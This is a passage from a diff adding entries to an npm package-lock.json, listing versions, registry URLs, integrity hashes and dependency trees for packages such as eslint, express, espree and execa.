"sha512-SNujglcLTTg+lDAcApPNgEdudaqQFiAbJCqzjNxJkvN9vAwCGi0uu8IUVvx+f16h+V44KCY6Y2yboroc9pilHg==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/enhanced-resolve": { + "version": "5.15.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.15.0.tgz", + "integrity": "sha512-LXYT42KJ7lpIKECr2mAXIaMldcNCh/7E0KBKOu4KSfkHmP+mZmSs+8V5gBAqisWBy0OO4W5Oyys0GO1Y8KtdKg==", + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/es-abstract": { + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.22.1.tgz", + "integrity": "sha512-ioRRcXMO6OFyRpyzV3kE1IIBd4WG5/kltnzdxSCqoP8CMGs/Li+M1uF5o7lOkZVFjDs+NLesthnF66Pg/0q0Lw==", + "dev": true, + "dependencies": { + "array-buffer-byte-length": "^1.0.0", + "arraybuffer.prototype.slice": "^1.0.1", + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "es-set-tostringtag": "^2.0.1", + "es-to-primitive": "^1.2.1", + "function.prototype.name": "^1.1.5", + "get-intrinsic": "^1.2.1", + "get-symbol-description": "^1.0.0", + "globalthis": "^1.0.3", + "gopd": "^1.0.1", + "has": "^1.0.3", + "has-property-descriptors": "^1.0.0", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.5", + "is-array-buffer": "^3.0.2", + "is-callable": "^1.2.7", + "is-negative-zero": "^2.0.2", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.2", + "is-string": "^1.0.7", + "is-typed-array": "^1.1.10", + "is-weakref": "^1.0.2", + "object-inspect": "^1.12.3", + "object-keys": "^1.1.1", + "object.assign": "^4.1.4", + "regexp.prototype.flags": "^1.5.0", + "safe-array-concat": "^1.0.0", + "safe-regex-test": "^1.0.0", + "string.prototype.trim": "^1.2.7", + "string.prototype.trimend": "^1.0.6", + "string.prototype.trimstart": "^1.0.6", + "typed-array-buffer": "^1.0.0", + "typed-array-byte-length": "^1.0.0", + "typed-array-byte-offset": "^1.0.0", + "typed-array-length": "^1.0.4", + "unbox-primitive": "^1.0.2", + "which-typed-array": "^1.1.10" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-iterator-helpers": { + "version": "1.0.13", + "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.0.13.tgz", + "integrity": "sha512-LK3VGwzvaPWobO8xzXXGRUOGw8Dcjyfk62CsY/wfHN75CwsJPbuypOYJxK6g5RyEL8YDjIWcl6jgd8foO6mmrA==", + "dev": true, + "dependencies": { + "asynciterator.prototype": "^1.0.0", + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.21.3", + "es-set-tostringtag": "^2.0.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.2.1", + "globalthis": "^1.0.3", + "has-property-descriptors": "^1.0.0", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.5", + "iterator.prototype": "^1.1.0", + "safe-array-concat": "^1.0.0" + } + }, + "node_modules/es-module-lexer": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.3.0.tgz", + "integrity": "sha512-vZK7T0N2CBmBOixhmjdqx2gWVbFZ4DXZ/NyRMZVlJXPa7CyFS+/a4QQsDGDQy9ZfEzxFuNEsMLeQJnKP2p5/JA==" + }, + "node_modules/es-set-tostringtag": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.0.1.tgz", + "integrity": "sha512-g3OMbtlwY3QewlqAiMLI47KywjWZoEytKr8pf6iTC8uJq5bIAH52Z9pnQ8pVL6whrCto53JZDuUIsifGeLorTg==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.1.3", + "has": "^1.0.3", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-shim-unscopables": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.0.0.tgz", + "integrity": "sha512-Jm6GPcCdC30eMLbZ2x8z2WuRwAws3zTBBKuusffYVUrNj/GVSUAZ+xKMaUpfNDR5IbyNA5LJbaecoUVbmUcB1w==", + "dev": true, + "dependencies": { + "has": "^1.0.3" + } + }, + "node_modules/es-to-primitive": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz", + "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==", + "dev": true, + "dependencies": { + "is-callable": "^1.1.4", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-goat": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/escape-goat/-/escape-goat-2.1.1.tgz", + "integrity": "sha512-8/uIhbG12Csjy2JEW7D9pHbreaVaS/OpN3ycnyvElTdwM5n6GY6W6e2IPemfvGZeUMqZ9A/3GqIZMgKnBhAw/Q==", + "engines": { + "node": ">=8" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.47.0.tgz", + "integrity": "sha512-spUQWrdPt+pRVP1TTJLmfRNJJHHZryFmptzcafwSvHsceV81djHOdnEeDmkdotZyLNjDhrOasNK8nikkoG1O8Q==", + "devOptional": true, + "dependencies": { + "@eslint-community/eslint-utils": "^4.2.0", + "@eslint-community/regexpp": "^4.6.1", + "@eslint/eslintrc": "^2.1.2", + "@eslint/js": "^8.47.0", + "@humanwhocodes/config-array": "^0.11.10", + "@humanwhocodes/module-importer": "^1.0.1", + "@nodelib/fs.walk": "^1.2.8", + "ajv": "^6.12.4", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.2", + "debug": "^4.3.2", + "doctrine": "^3.0.0", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^7.2.2", + "eslint-visitor-keys": "^3.4.3", + "espree": "^9.6.1", + "esquery": "^1.4.2", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^6.0.1", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "globals": "^13.19.0", + "graphemer": "^1.4.0", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "is-path-inside": "^3.0.3", + "js-yaml": "^4.1.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.4.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.2", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3", + "strip-ansi": "^6.0.1", + "text-table": "^0.2.0" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-plugin-prettier": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-prettier/-/eslint-plugin-prettier-3.4.1.tgz", + "integrity": "sha512-htg25EUYUeIhKHXjOinK4BgCcDwtLHjqaxCDsMy5nbnUMkKFvIhMVCp+5GFUXQ4Nr8lBsPqtGAqBenbpFqAA2g==", + "dev": true, + "dependencies": { + "prettier-linter-helpers": "^1.0.0" + }, + "engines": { + "node": ">=6.0.0" + }, + "peerDependencies": { + "eslint": ">=5.0.0", + "prettier": ">=1.13.0" + }, + "peerDependenciesMeta": { + "eslint-config-prettier": { + "optional": true + } + } + }, + "node_modules/eslint-plugin-react": { + "version": "7.33.2", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.33.2.tgz", + "integrity": "sha512-73QQMKALArI8/7xGLNI/3LylrEYrlKZSb5C9+q3OtOewTnMQi5cT+aE9E41sLCmli3I9PGGmD1yiZydyo4FEPw==", + "dev": true, + "dependencies": { + "array-includes": "^3.1.6", + "array.prototype.flatmap": "^1.3.1", + "array.prototype.tosorted": "^1.1.1", + "doctrine": "^2.1.0", + "es-iterator-helpers": "^1.0.12", + "estraverse": "^5.3.0", + "jsx-ast-utils": "^2.4.1 || ^3.0.0", + "minimatch": "^3.1.2", + "object.entries": "^1.1.6", + "object.fromentries": "^2.0.6", + "object.hasown": "^1.1.2", + "object.values": "^1.1.6", + "prop-types": "^15.8.1", + "resolve": "^2.0.0-next.4", + "semver": "^6.3.1", + "string.prototype.matchall": "^4.0.8" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8" + } + }, + "node_modules/eslint-plugin-react/node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dev": true, + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint-plugin-react/node_modules/resolve": { + "version": "2.0.0-next.4", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.4.tgz", + "integrity": "sha512-iMDbmAWtfU+MHpxt/I5iWI7cY6YVEZUQ3MBgPQ++XD1PELuJHIl82xBmObyP2KyQmkNB2dsqF7seoQQiAn5yDQ==", + "dev": true, + "dependencies": { + "is-core-module": "^2.9.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/eslint-plugin-react/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/eslint-plugin-security": { + "version": "1.7.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-security/-/eslint-plugin-security-1.7.1.tgz", + "integrity": "sha512-sMStceig8AFglhhT2LqlU5r+/fn9OwsA72O5bBuQVTssPCdQAOQzL+oMn/ZcpeUY6KcNfLJArgcrsSULNjYYdQ==", + "dev": true, + "dependencies": { + "safe-regex": "^2.1.1" + } + }, + "node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/eslint-scope/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "devOptional": true, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint/node_modules/eslint-scope": { + "version": "7.2.2", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz", + "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==", + "devOptional": true, + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint/node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "devOptional": true, + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "devOptional": true, + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/eslint/node_modules/globals": { + "version": "13.21.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.21.0.tgz", + "integrity": "sha512-ybyme3s4yy/t/3s35bewwXKOf7cvzfreG2lH0lZl0JB7I4GxRP2ghxOK/Nb9EkRXdbBXZLfq/p/0W2JUONB/Gg==", + "devOptional": true, + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "devOptional": true, + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "devOptional": true, + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "devOptional": true, + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "devOptional": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/espree": { + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz", + "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", + "devOptional": true, + "dependencies": { + "acorn": "^8.9.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/espree/node_modules/acorn": { + "version": "8.10.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz", + "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==", + "devOptional": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/esquery": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.5.0.tgz", + "integrity": "sha512-YQLXUplAwJgCydQ78IMJywZCceoqk1oH01OERdSAJc/7U2AylwjhSCLDEtqwg811idIS/9fIU5GjG73IgjKMVg==", + "devOptional": true, + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eta": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/eta/-/eta-2.2.0.tgz", + "integrity": "sha512-UVQ72Rqjy/ZKQalzV5dCCJP80GrmPrMxh6NlNf+erV6ObL0ZFkhCstWRawS85z3smdr3d2wXPsZEY7rDPfGd2g==", + "engines": { + "node": ">=6.0.0" + }, + "funding": { + "url": "https://github.com/eta-dev/eta?sponsor=1" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/eval": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/eval/-/eval-0.1.8.tgz", + "integrity": "sha512-EzV94NYKoO09GLXGjXj9JIlXijVck4ONSr5wiCWDvhsvj5jxSrzTmRU/9C1DyB6uToszLs8aifA6NQ7lEQdvFw==", + "dependencies": { + "@types/node": "*", + "require-like": ">= 0.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==" + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/execa": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/execa/node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/execa/node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/express": { + "version": "4.18.2", + "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz", + "integrity": "sha512-5/PsL6iGPdfQ/lKM1UuielYgv3BUoJfz1aUwU9vHZ+J7gyvwdQXFEBIEIaxeGf0GIcreATNyBExtalisDbuMqQ==", + "dependencies": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.20.1", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.5.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.2.0", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.7", + "qs": "6.11.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.18.0", + "serve-static": "1.15.0", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/express/node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" + }, + "node_modules/express/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/express/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/express/node_modules/path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ==" + }, + "node_modules/express/node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + }, + "node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/fast-diff": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/fast-diff/-/fast-diff-1.3.0.tgz", 